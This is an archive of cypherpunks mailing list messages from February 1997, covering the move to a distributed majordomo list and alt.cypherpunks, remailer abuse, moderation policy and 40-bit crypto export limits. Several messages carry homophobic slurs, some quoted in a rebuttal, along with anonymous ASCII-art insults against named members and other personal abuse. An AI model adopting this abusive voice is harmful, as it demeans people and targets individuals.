>> >Want to volunteer?
>> 
>> 	Give me some idea of how much programming knowledge, time, etcetera
>> is required, please, before I can answer. I'd be renting space on some other
>> computer (e.g., an account on cyberpass.net) to do it in; the only higher-level
>> programming language (i.e., beyond Applesoft Basic) that I know anything of
>> is Perl (and I don't know that all that well); and I am somewhat busy with
>> other stuff. In other words, it depends.

>Hmmm, not shure how much programming it would take - never done it myself.
>I think Perl would be an acceptable language. I certainly hope to do the
>majority of the scripts on the CDR in Perl myself. Perhaps there is somebody
>who knows the fine points of how INN cache's messages. Redbeard and I had a
>short discussion about this issue today relating to tracking messages to
>reduce mail-loops. I will discuss it with him and see what happens.

	So far as I can tell, there are two types of news2mail gateways
in common usage: newsgate, which is in C, and the standard LISTSERV
bit.listserv.* gatewaying. I don't know C and don't have that much
reason to learn it (perl makes a lot more sense to me); therefore, I'd
need to locate a perl version or let someone else take care of the
actual programming end of it, with me just handling what the programming
person didn't. Hmm... I wonder if Lance would be available for the
programming? I'd probably be using an account on cyberpass.net for the
gateway in any event.
	-Allen




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ca3sal@isis.sunderland.ac.uk (Stephen.George.Allport)
Date: Thu, 13 Feb 1997 06:43:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: 40-bit RC5 crack meaningless??
Message-ID: <199702131442.OAA17335@cis525.cis.sund.ac.uk>
MIME-Version: 1.0
Content-Type: text/plain


Strassmann wrote:
>In summary: The claim of exportable cryptography being totally
>insecure, because it can be cracked in 3.5 hours is not
>realistic. The three clues announced in the contest
>would not apply  under infowar conditions.

As the UK gets a lot of desktop PC software from the US, ie MS & Lotus
we unfouantly have to live with the 40-bit limit. What the RSA Chalange and 
Ian Goldberg have achived is a couple of aritcales in the broad sheet papers

http://www.telegraph.co.uk:80/et?ac=000145546611023&rtmo=33032622&atmo=33032622&
P4_FOLLOW_ON=/97/2/4/ecfilm04.html&pg=/et/97/2/4/ecfilm04.html

(ouch) and

http://go2.guardian.co.uk/archive.html

The competion has shown to the general populs and not just "experts" what a 
crap deal were getting. Three and half hours gets people thinking.

Ste 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 14:52:58 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <3302E815.5E66@netbox.com>
Message-ID: <3.0.1.32.19970213144604.027ebc5c@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote:
>
>This is where the distributed nature of the list comes   in.
>
>if someone disagrees with Jim's AUP, he or she can use soem other
>mailing list host.

Is this the policy of the majordomo network, that individual list operators
can make their own policies for their subscribers, but may not/cannot
impose them on other list operators or the other lists' members? It sounds
very reasonable, but it would be nice to be clear about whether or not this
is the case. 

Are there any rules (other than "no rules") which apply to all lists/list
operators/list subscribers? Can there ever be any? Who would write the
rules, and who must agree to them in order for them to take effect?

Can individual list operators be forced to or forbidden to "peer" with
other machines, or are these "peer" relationships up to each list operator?

--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Firebeard <stend@sten.tivoli.com>
Date: Thu, 13 Feb 1997 13:10:23 -0800 (PST)
To: ichudov@algebra.com (Igor Chudov)
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <199702131504.JAA20582@manifold.algebra.com>
Message-ID: <vpafp876ss.fsf@grendel.tivoli.com>
MIME-Version: 1.0
Content-Type: text/plain


>>>>> Igor Chudov @ home writes:

IC> This is where the distributed nature of the list comes in.  if
IC> someone disagrees with Jim's AUP, he or she can use soem other
IC> mailing list host.

	And once I'm up and running, my cypherpunks list server will
not be interconnected with any server which has a similar AUP.  The
implication of the AUP is that if you _don't_ comply with it, you will
be blocked.  Without such an implication, the AUP is meaningless, and
I'm dedicated that there should be no filtering/blocking of any kind,
of the list.  Persons behaving 'unacceptably' should be handled by
social pressures by others in the 'community' of the list, and not by
policies of the list operators.

-- 
#include <disclaimer.h>                               /* Sten Drescher */
Unsolicited bulk email will be stored and handled for a US$500/KB fee.
It is by caffeine alone I set my mind in motion, it is by the beans of
Java that thoughts acquire speed, the hands acquire shaking, the
shaking becomes a warning, it is by caffeine alone I set my mind in
motion. -- Carlos Nunes-Ueno, 3/29/95




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Genocide <gen2600@aracnet.com>
Date: Thu, 13 Feb 1997 15:10:27 -0800 (PST)
To: Tobin Fricke <tobin@edm.net>
Subject: Re: NSA Rainbow Series.
In-Reply-To: <199702130208.SAA29106@trapdoor.aracnet.com>
Message-ID: <Pine.LNX.3.95.970213150847.7217D-100000@shelob.aracnet.com>
MIME-Version: 1.0
Content-Type: text/plain


On Wed, 12 Feb 1997, Tobin Fricke wrote:

	Turns out they were just late in gettin it to me, but I did get
it.

> >        1-800-688-6115 press 0 or just wait for the operator. My second
> > order consisting of posters and video has not arrived either. It has been
> > about 6 weeks. The Rainbow order was only 2 weeks. Be prepared that when
> > you order the Rainbow series you will be getting a large box.Their are
> > something like 30+ booklets in the series.
> >         There is a set of security posters  that include a Santa
> > poster.And there is also a video with two films on it (Acess Ins and outs
> > adb Acess Control).
> 
> How much does all this stuff from the NSA cost?
> 
> Tobin Fricke
> (please reply privately, tobin@mail.edm.net)
> 
> 

Genocide
Head of the Genocide2600 Group


============================================================================
		   **Coming soon! www.Genocide2600.com!
         ____________________
  *---===|                  |===---*
  *---===|     Genocide     |===---*  "Courage is not defined by those who 
  *---===|       2600       |===---*   fought and did not fall, but by those
  *---===|__________________|===---*   who fought, fell, and and rose again."
                                       
Email:  gen2600@aracnet.com	Web:  http://www.aracnet.com/~gen2600

^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
	It is by caffeine alone that I set my mind in motion.
	It is by the Mountain Dew that the thoughts acquire speed,
	the lips acquire stains, the stains become a warning.
	It is by caffeine alone that I set my mind in motion.
================================================================================





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: George Leerhuber <lerhuber@joshuanet.com>
Date: Thu, 13 Feb 1997 15:33:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: unsubcribe
Message-ID: <3303A4DF.6F6E@joshuanet.com>
MIME-Version: 1.0
Content-Type: text/plain


UNSUBCRIBE <lerhuber@joshuanet.com>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Thu, 13 Feb 1997 15:38:43 -0800 (PST)
To: Jim Choate <ravage@EINSTEIN.ssz.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks" (fwd)
In-Reply-To: <199702130118.TAA02401@einstein>
Message-ID: <3.0.1.32.19970213154248.0074ce38@mail.io.com>
MIME-Version: 1.0
Content-Type: text/plain


At 07:18 PM 2/12/97 -0600, Jim Choate wrote:
[quoting Tim May]
>> I was making the point that _any_ site distributing a list is likely to
>> face legal pressures not to carry certain items. Read between the lines (or
>> read the unedited list) the discussion by John Gilmore, Sandy Sandfort, and
>> the products of Sandy's company, and legal pressures applied, to see what I
>> mean.
>
>This is exactly the reason that my suggestion to anyone setting up a
>remailer with any sort of controversial content should do it as some sort of
>outreach of their business. It is too expensive in time, money, and hassles
>to do for grins and giggles.

I disagree strongly that a controversial or legally troublesome list (or
other data stream) should be closely associated with a business. While I
agree that it's important that a list be supported by a robust
hardware/software/network infrastructure, businesses tend to be focused on
making money and maintaining business relationships, not on abstract or
philosophical goals like "free speech".

(Also, what is the "right" thing to do where a particular exercise of free
speech looks like it has serious potential to harm the business, thereby
harming or eliminating the list which makes the speech possible? Isn't
every choice a person could make in such a situation reducible to
"censorship"?)

Every "forum" for free speech occurs exists in the context of economic and
political relationships - and there will always be some message which
threatens (to some degree) the stability of those relationships, and by
implication, the forum itself. Unless we can eliminate economics and
politics (ha, ha) I think that will always be the case - and there will
always be some messages which raise "conflict of interest" problems. But
some forums rest on less stable relationships (like, for example, most
small businesses) and are more easily threatened by difficult messages.
It's much easier to disrupt the income stream of a small business than to
disrupt the income stream from a portfolio of investments or savings. But
even a system whose upkeep was funded by something as unremarkable as
interest on a savings account or a CD would still theoretically be
"conflicted" were someone to use the system to propose or carry out a
scheme to, say, overthrow the U.S. Government, or eliminate the FDIC and
loot various savings & loans. 

The threat(s) to systems providing transport/storage for controversial
messages are not limited to liability after a judgement; it is becoming
more common for civil plaintiffs to seek (and get) discovery of the actual
hardware owned and used by defendants, in order to look through the storage
media for discoverable information, including "deleted" files. The tactics
the Co$ used against its critics were shocking but also legal (modulo some
irregularities). It's certainly not unimaginable that similar tactics would
be used against a remailer or majordomo operator were the list to pass
traffic that someone didn't like. And if a computer system is the target of
a search warrant in the criminal arena, you'll be lucky if you get to keep
your electronic alarm clocks after the search. Count on everything with a
chip in it going away in the police van.

Most businesses don't want to expose themselves to the threat of civil or
criminal seizure or discovery, especially not at random times and for
non-business reasons. So, to the extent that they're paying attention, they
may choose not to expose themselves to extra liability which carries little
(or no) business value.  
--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Shostack <adam@homeport.org>
Date: Thu, 13 Feb 1997 13:06:56 -0800 (PST)
To: warlord@MIT.EDU (Derek Atkins)
Subject: Re: Procmail during the transition, anyone?
In-Reply-To: <199702131941.LAA09515@toad.com>
Message-ID: <199702132103.QAA12914@homeport.org>
MIME-Version: 1.0
Content-Type: text/plain


A while back, I experimented with a technique for adding an md5 based
message-id at the top of my procmailrc.  Never got it working.  I'll
give it another shot middle of March, when I get back from FC '97*,
and catch up on stuff.

Someone could of course, beat me to it.

The flow was:

all messages get piped into md5, then use formail to set a new header.

Adam



Derek Atkins wrote:
| Anil Das <das@sgi.com> writes:
| 
| [snip]
| > It detects duplicates by Message-Id.
| 
| Unfortunately, the messages that make it through to the cypherpunks
| list have their MessageID changed when they get approved.  So,
| checking for duplicates by MessageID fails, given the current approval
| mechanism. :(
| 
| I've informed Sandy of the problem, but he doesn't know how to
| preserve the original MessageIDs.
| 
| -derek
| 
| -- 
|        Derek Atkins, SB '93 MIT EE, SM '95 MIT Media Laboratory
|        Member, MIT Student Information Processing Board  (SIPB)
|        URL: http://web.mit.edu/warlord/      PP-ASEL      N1NWH
|        warlord@MIT.EDU                        PGP key available
| 


-- 
"It is seldom that liberty of any kind is lost all at once."
					               -Hume






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Ross Wright" <rwright@adnetsol.com>
Date: Thu, 13 Feb 1997 16:03:58 -0800 (PST)
To: cypherpunks <attila@primenet.com>
Subject: Re: (2)Excerpt on SPAM from Edupage, 11 February 1997
Message-ID: <199702140004.QAA20943@adnetsol.adnetsol.com>
MIME-Version: 1.0
Content-Type: text/plain


On or About 13 Feb 97 at 5:00, Attila T. Hun wrote:

> 
>     I don't like the regulatory agencies either, but at least they
>     are not Judge Roy Bean, Law West of the Pecos.
> 
>     unfortunately, until the irresponsible tone down their greed, we
>     need the regulation to protect ourselves from the predators.

Attila:  I am shocked that you would make this statement.  What makes 
you think that the 'regulators' would go away, once the greedy spammers 
"toned down their greed"?  Spammers as Predators?  Are you being 
sarcastic?  Are you seriously saying that spammers are preying on the 
weak?

I am one-thousand % AGAINST regulation of any sort.

> 
>     in other words, I agree with you in my heart, but our society
>     refuses to cooperate.  

If cooperation means regulation, count me out.

Ross 

=-=-=-=-=-=-
Ross Wright
King Media: Bulk Sales of Software Media and Duplication Services
http://www.slip.net/~cdr/kingmedia
Voice: 415-206-9906




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Homer W. Smith" <homer@lightlink.com>
Date: Thu, 13 Feb 1997 13:48:54 -0800 (PST)
To: Wazoo MixMaster <mix@earth.wazoo.com>
Subject: Re: Remailer Network Under Attack
In-Reply-To: <199702132116.OAA21790@earth.wazoo.com>
Message-ID: <Pine.SUN.3.95.970213164712.3040C-100000@light.lightlink.com>
MIME-Version: 1.0
Content-Type: text/plain



> Given the variety of addresses being "spam baited", the only logical
> target of this abuse is the remailers themselves.  Both sides of
> certain heated controversies report being made the target of this
> spam bait, each side accusing the other of being responsible.

    Allegations of responsibility are a serious charge and should
be looked into immediately.


     GOOD GUYS AND BAD GUYS, circa 12/95

     There are two kinds of people in the world.  Those that divide
people into two kinds and those that don't.

     With that in mind, I present to you the following over
simplification.

     There are two kinds of people in the world, the good guys and the
bad guys.

     The good guys speak with the Voice of Truth, and the bad guys
speak with the Voice of Lies.

     I believe that anonymity is the foundation of freedom in the
known universe.  Anonymity is the ability to speak either the voice of
truth or the voice of lies without anyone knowing who you are.

     Accountability is the opposite of Anonymity.  Accountability
means that everyone knows who said what and can take them to task for
it.

     Both sides can use force to silence the other side, but usually
its the bad guys who use force to silence the good guys, good guys use
more voice of Truth to expose the bad guys.
 
     Although some would claim that in general accountability is a
good thing, I would point out that ALL members of the controlling
party of the emerging police state are adamantly FOR absolute
accountability at all times for all their citizens.  That should give
one pause to wonder.

     Anonymity is actually very hard to maintain, and absolute
anonymity for all people at all times is very difficult indeed.

     Therefore by observation a society or oganization is usually
operating at some gradient scale of anonymity between the extremes of
total anonymity and total non anonymity.

     It can come to pass that certain gradient levels of anonymity end
up benefitting the bad guys more than the good guys.  In these
situations, the bad guys tend to start winning and the good guys
perceive that the bad guys are winning BECAUSE of anonymity.

     Rather than use the weapon of anonymity themselves to protect
against the bad guys, the usual convulsive reaction on the part of the
good guys is to try and close down the channels of anonymity to keep
the bad guys located and corralled, rather than to open up the
channels more and use it themselves.  This does not occur to them, or
if it does they are beset with visions of the bad guys getting away
with more than they are now.

     The logic for closing down the channels of anonymity goes
something like this.  Since our country is ruled by an Omni
Intelligent and Omni Beneficent God King, if we can track every
communication down to the person who said it, the God King will be
able to tell the good guys from the bad guys, and silence the bad guys
for us.

     The problem with this logic is that our country is not run by a
God King, but by human beings who tend to elect each other into power
based on outrageous criteria.

     As the bad guys see themselves getting corraled with
accountability, they simply run for office and get themselves elected
into the positions of power where THEY are the ones taking action
against the bad guys.  Of course they take action against the good
guys instead.

     It is for this reason that the temptation to tighten
accountability when anonymity is abused is always an error and leads
to a terrible trap worse than any tar pit.  Namely only the bad guys
get to speak, and the good guys get to remain silent fearing for their
lives.
 
     Which is why when the police ask if you have something to hide
after you have refused to let them spot search your belongings, you
must always say, "Of course, I have EVERYTHING to hide.  FROM YOU!"

     Anyhow as an ISP it is my job to provide the channels of
communication between people.  That's what I do, I provide the
CHANNEL.  This includes standard accountable channels and not so
standard anonymous channels.

     People who communicate with each other tend to get into fights
with each other over what they are communicating about.  Usually they
take their fights out on each other.  But when anonymous channels are
used, they can't get to each other, they don't know who each other is,
so they take it out on the provider of the channel instead.  That's
me.
  
     It's enough to make you want to throw anonymity in the waste
basket.

     Providing a communication channel is a difficult job, it usually
involves a precarious balance between allowing the good guys to speak
and making sure the bad guys don't get away with the gold.

     It is very hard to maintain that balance with both sides pulling
and tugging on you because they can't pull and tug on each other.

     One of the main purposes of the Subscriber Agreement is to make
sure that people pull and tug on each other, and leave me out of it
even if they got no one to target at the other end.

     Homer






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@einstein.ssz.com>
Date: Thu, 13 Feb 1997 14:44:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: Private property & cypherpunks
Message-ID: <199702132250.QAA04963@einstein>
MIME-Version: 1.0
Content-Type: text



Hi,

After talking w/ Sten (firebeard) I have agreed to drop the explicit PD
proviso. This means the Cypherpunks Distributed Remailer is operaing
under the Burne Convention of implicit copyright.

This is gonna be fun.

                                                    Jim Choate
                                                    CyberTects
                                                    ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Thu, 13 Feb 1997 15:47:38 -0800 (PST)
To: gbroiles@netbox.com (Greg Broiles)
Subject: Re: Private property & the cypherpunks list(s)
In-Reply-To: <3.0.1.32.19970213144604.027ebc5c@mail.io.com>
Message-ID: <199702140051.QAA12304@songbird.com>
MIME-Version: 1.0
Content-Type: text


Greg Broiles allegedly said:
> 
> At 09:04 AM 2/13/97 -0600, Igor Chudov @ home wrote:
> >
> >This is where the distributed nature of the list comes   in.
> >
> >if someone disagrees with Jim's AUP, he or she can use soem other
> >mailing list host.
> 
> Is this the policy of the majordomo network, that individual list operators
> can make their own policies for their subscribers, but may not/cannot
> impose them on other list operators or the other lists' members? It sounds
> very reasonable, but it would be nice to be clear about whether or not this
> is the case. 
> 
> Are there any rules (other than "no rules") which apply to all lists/list
> operators/list subscribers? Can there ever be any? Who would write the
> rules, and who must agree to them in order for them to take effect?
> 
> Can individual list operators be forced to or forbidden to "peer" with
> other machines, or are these "peer" relationships up to each list operator?

Both realistically and idealistically speaking, the peer relationships
should be up to each list operator.  

And, once again, both realistically and idealistically speaking, each
list operator should set their own policies.  The beauty of this 
scheme is that it gives maximum freedom to both the list operators 
*and* the list members -- if a list operator wants to filter out 
clever asci art, they can, and contrariwise, if the list members want 
to change list operators as a result, they can.  In fact, I don't see 
why moderated versions of the list couldn't happily coexist as part 
of the distributed list.  Let those flowers bloom!

BTW, I am planning on an upgrade to majordomo 1.94.1 this weekend, 
and I will be setting up cypherpunks@songbird.com at that time.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com,kc@llnl.gov		the thief he kindly spoke...
PGP fingerprint:   5A 16 DA 04 31 33 40 1E  87 DA 29 02 97 A3 46 2F




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Thu, 13 Feb 1997 09:52:55 -0800 (PST)
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Cypherpunks-announce?  Do we need to recreate this?
Message-ID: <855853716.107890.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain



> Now that cypherpunks is moving, to both a newsgroup and one or more 
> mailing lists, there's still a need for cypherpunks-announce or 
> something like it.  So far it's carried 1-2 announcements per month.
> 
> Should we create it as a mailing list, moderated or unmoderated,
> or as a newsgroup?  (It's been a moderated mailing list, run by John and
> Hugh.)

I newsgrouped several sub groups along with alt.cypherpunks.

alt.cypherpunks.announce
alt.cypherpunks.social
alt.cypherpunks.technical

but they do not appear to have taken effect (my local news server 
refuses to see them). Can anyone else see them? - If not I`ll have a 
word with my newsadmin.



 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Against Moderation <antimod@nym.alias.net>
Date: Thu, 13 Feb 1997 09:17:41 -0800 (PST)
To: aga@dhp.com
Subject: Re: Moderation experiment almost over; "put up or shut up"
Message-ID: <19970213171732.9310.qmail@anon.lcs.mit.edu>
MIME-Version: 1.0
Content-Type: text/plain


> Date: Thu, 13 Feb 1997 11:24:57 -0500 (EST)
> From: aga <aga@dhp.com>
> 
> Well, the fact remains that the homos are instrumental in creating and
> forming a cliquish and censored usenet.  There is just no question
> about that.  Remember the previous cypherpunk who stated that the
> gays "created and run usenet."

No.  Who said that, and why do you think the person was serious, let
alone telling the truth?

> Your assumption that I am a "bigot" makes it you appear uninformed.
> Sexism is good, but racism is bad.   A sexist is not a bigot.
> 
> The only one who qualifies as a "bigot" is a racist.

According to the American Heritage dictionary:
  bigot n. One who is strongly partial to one's own group, religion,
     race, or politics and is intolerant of those who differ.

According to Webster:
  bigot n. One obstinately or intolerantly devoted to his own opinions
     and prejudices

I see nothing that limits bigotry to racial intolerance.

> It is very logical and wise to discriminate on the basis of sex.

Most would disagree, and decide based on that and other statements you
have made that you must be an extremely unpleasant person.

If you want to fight censorship effectively, going around telling
people "You're a shit-eating faggot you fucking cock-sucking homo
censor" in public forums is not going to win you many points.
Instead, it will quickly land you in many people's killfiles, and will
eventually lead some people with bad client software to wonder if it
wouldn't be worth giving up some freedom of speech for the benefit of
not having to see your rants any more.

I'm not saying you don't have a right to express your opinions.  I'm
just remarking that you appear to be more in the business of inducing
censorship than fighting it.  If that's the case, so be it; someone
has to get censored in order for people to fight censorship, and
exposing people's willingness to censor is not necessarily a bad thing
in itself.

Unfortunately, it sort of makes life harder for those who actually
fight the censorship when you pretend to be one of them.  Your
argument seems to run something like, "To protect freedom of speech,
bad all faggots from the net, and especially don't let them run any
mailing lists."  If this offensive and highly noticeable argument
eclipses many of the important, fundamental ones as the censors would
like it too (why do you think your articles make it to cypherpunks-
flames while mine only get as far as -unedited), you will end up not
only inducing censorship but also seriously hampering the efforts of
those who are legitimately fighting that censorship.

> I am not a racist, so therefore I can not be a "bigot," regardless of
> my views on homosexuality.

See above.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Thu, 13 Feb 1997 14:20:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: Firewalls
Message-ID: <199702132220.RAA31398@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain


Timmy May proves that the Midwestern gene pool needs some chlorine in it.

     o      o o o   o
    /~>    <><><>   <> Timmy May
 o...(\    ||||||   ||





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Thu, 13 Feb 1997 17:40:07 -0800 (PST)
To: cypherpunks@toad.com
Subject: OTP
Message-ID: <199702140140.RAA22574@mailmasher.com>
MIME-Version: 1.0
Content-Type: text/plain


Tim C[rook] May digs into his cesspool of a mind for his mailing list 
fertilizer.

     o   \ o /  _ o         __|    \ /     |__        o _  \ o /   o
    /|\    |     /\   ___\o   \o    |    o/    o/__   /\     |    /|\ Tim C[rook] May
    / \   / \   | \  /)  |    ( \  /o\  / )    |  (\  / |   / \   / \





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 03:09:38 -0800 (PST)
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: Recommendation: Creation of "alt.cypherpunks"
Message-ID: <855916839.1020920.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > It is too late to stop alt.cypherpunks, but if I had to make a
> > prediction again, I would predict that soon posters will BEG to help
> > them create comp.*.cypherpunks, because of spam and alt.flamage.
> 
> Timmy has a valid point: the reason why a comp.* newsgroup might have less
> cross-posted and "off-topic" crap is because net.cops would be more
> likely to complain to posters' sysadmins. Having a charter state that
> cypherpunks have technical means to ignore traffic they don't like,
> and don't need anyone forging cancels or complaining to sysadmins
> or otherwise getting silenced, is a good idea.

I don`t believe for one moment that, however well intentioned such a 
move would be, it would work. The most notorious net.cops who 
thoroughly deserve the (spit) after their name would take little 
notice of such a charter and take it upon themselved to "act in the 
best interests of the usenet community"

I think the only real soluion is to see alt.cypherpunks, or indeed 
any usenet group along those lines, as I see it: Something to fill a 
gap while we get a solid and reliable mailing list format working 
again. There are too many problems with the usenet approach and if 
certain list members have great leanings towards the usenet angle we 
can gate it just as mail.cypherpunks is a gated group now.

Any more news on the majordomo network Igor?




> 
> What's going to happen when (not if) someone posts something in
> alt.cypherpunks that Chris Lewis (spit) judges to be "spam"
> and forges a cancel? Or someone posts a binary and Richard
> "little dick" Depew forges a cancel?
> 
> > > 3. An unmoderated Usenet newsgroup would have even ore crap than this maili
> > > list. I've been thinking of how to deal with crap, and with the obvious des
> > > by some people to delegate their decision what to read and what not to read
> > > to other people.
> >
> > It is alt.* and soc.* that has most crap, sci and comp are way better.
> 
> There's a bunch of net.cops in e.g. comp.lang.eiffel that complain to
> sysadmins of anyone posting to that newsgroup who's in a member of the
> "in" crowd". It may or may not cut down on the crap, but is it worth it?
> 
> > > Most people don't have nocem-enabled newareaders yet... Which is where the
> > > network of cypherpunks majordomos Igor's been busy creating comes in very
> > > handy.
> > >
> >
> > It is a very good idea to let NoCeM issuers and filterers work
> > independently from list nodes.
> 
> 
> Yes - from the legal liability point of view (since it bothers the lying
> cocksucker Gilmore (spit, fart, belch) so  much): suppose someone
> anonymously posts  skipjack source code to alt.cypherpunks. Under the
> present systen, say, the arachelian asshole might decide not to forward
> it to his mailing list feaing the NSA. NoCeM's can separate the function
> of highlighting interesting articles from the function of forwarding
> these articles to subscribers who only want to see the highlighted
> articles.
> 
> ---
> 
> Dr.Dimitri Vulis KOTM
> Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps
> 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Fri, 14 Feb 1997 02:43:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: You guys/gals oughta get a kick outta this guy
Message-ID: <855916840.1020916.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > Yet another person who needs a good stern talking to by the nearest
> > cypherpunk --- this guy posted to comp.lang.perl.misc with the following
> > blasphemy, which I luaghed at until I had tears in my eyes.
> > --BEGIN COMPLETE STUPIDITY--
> > I want to make it executable to protect the source code from being read. I
> > don't want the source code available because I don't want people looking
> > for security holes.
> > --END COMPLETE STUPIDITY--

NO! - It must be impossible to be this naive! - Thanks for the post, 
I laughed until I displaced a kidney ;-)

 

  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jim Choate <ravage@EINSTEIN.ssz.com>
Date: Thu, 13 Feb 1997 15:43:33 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Private property & the cypherpunks list(s) (fwd)
Message-ID: <199702132350.RAA05077@einstein>
MIME-Version: 1.0
Content-Type: text



Forwarded message:

> Date: Thu, 13 Feb 1997 14:46:04 -0800
> From: Greg Broiles <gbroiles@netbox.com>
> Subject: Re: Private property & the cypherpunks list(s)

> Is this the policy of the majordomo network, that individual list operators
> can make their own policies for their subscribers, but may not/cannot
> impose them on other list operators or the other lists' members? It sounds
> very reasonable, but it would be nice to be clear about whether or not this
> is the case. 

There is no policy at this point. We have not even agreed to a means to
institute the network or its basic architecture. The only point of mandatory
agreement is between any two individual list operators and the mechanism
they use to transfer between those two nodes.

This sort of policy distribution won't work, as to reasonable I think not.
If everyone does their own thing with no compromise then nothing will
get done.

> Are there any rules (other than "no rules") which apply to all lists/list
> operators/list subscribers? Can there ever be any? Who would write the
> rules, and who must agree to them in order for them to take effect?

There are no explicit rules at this point. Yes there can be all sorts of 
rules, both implicit (eg copyrights) and explicit. Anyone can write rules.
Nobody must agree to anything other than implicit agreements, course
the concept of 'agreement' sorta goes out the window with implicits.

> Can individual list operators be forced to or forbidden to "peer" with
> other machines, or are these "peer" relationships up to each list operator?

Don't see how anyone can force the remailer to do anything.

Can't speak for anyone else but can say with some degree of certainty that
no participant in cpunks can stop me from subscribing whoever I want. There
is certainly no mechanism envisioned to authenticate subscriptions with
the remailer operators.


                                                     Jim Choate
                                                     CyberTects
                                                     ravage@ssz.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dale Thorn <dthorn@gte.net>
Date: Thu, 13 Feb 1997 17:51:56 -0800 (PST)
To: Huge Cajones Remailer <nobody@huge.cajones.com>
Subject: Re: Dale-Further proof
In-Reply-To: <199702131605.IAA21730@mailmasher.com>
Message-ID: <3303C4E1.A87@gte.net>
MIME-Version: 1.0
Content-Type: text/plain


Huge Cajones Remailer wrote:
> Yet another Dale day (blah):
> :From: Dale Thorn <dthorn@gte.net>
> :Another blood stain on Gilmore's shroud, as it were.

> As further evidence that Dale is unworthy to participate in any socially interactive behaviour other than grinding (that is, grinding) his nose in the naysayers, collective ass, I submit that he posts mixed and otherwise unclear metaphores.
> As difficult as the good doctor can be, Dale is not intellectually worthy to lick his boots, though he tries.

Unlike crypto, metaphors are easier to "decode" than "encode", so it
takes quite a bit less intellect for you to understand them than it
takes for me to make them.  But I don't see that as a "bad" thing
for you.  It's a savage, cruel world out there, and only when you
shut yourself off to it (unwittingly in your case) do you feel "good".





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Nadra <robertn@dm.net.lb>
Date: Thu, 13 Feb 1997 08:14:41 -0800 (PST)
To: "'cyberpunk@toad.com>
Subject: FW: I would like to be out of your mailing list
Message-ID: <01BC19D7.EE75ECA0@pm2-s0.dm.net.lb>
MIME-Version: 1.0
Content-Type: text/plain




I would like to get out of your mailing list , please indicate the correct procedure. Thanks. 

 




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
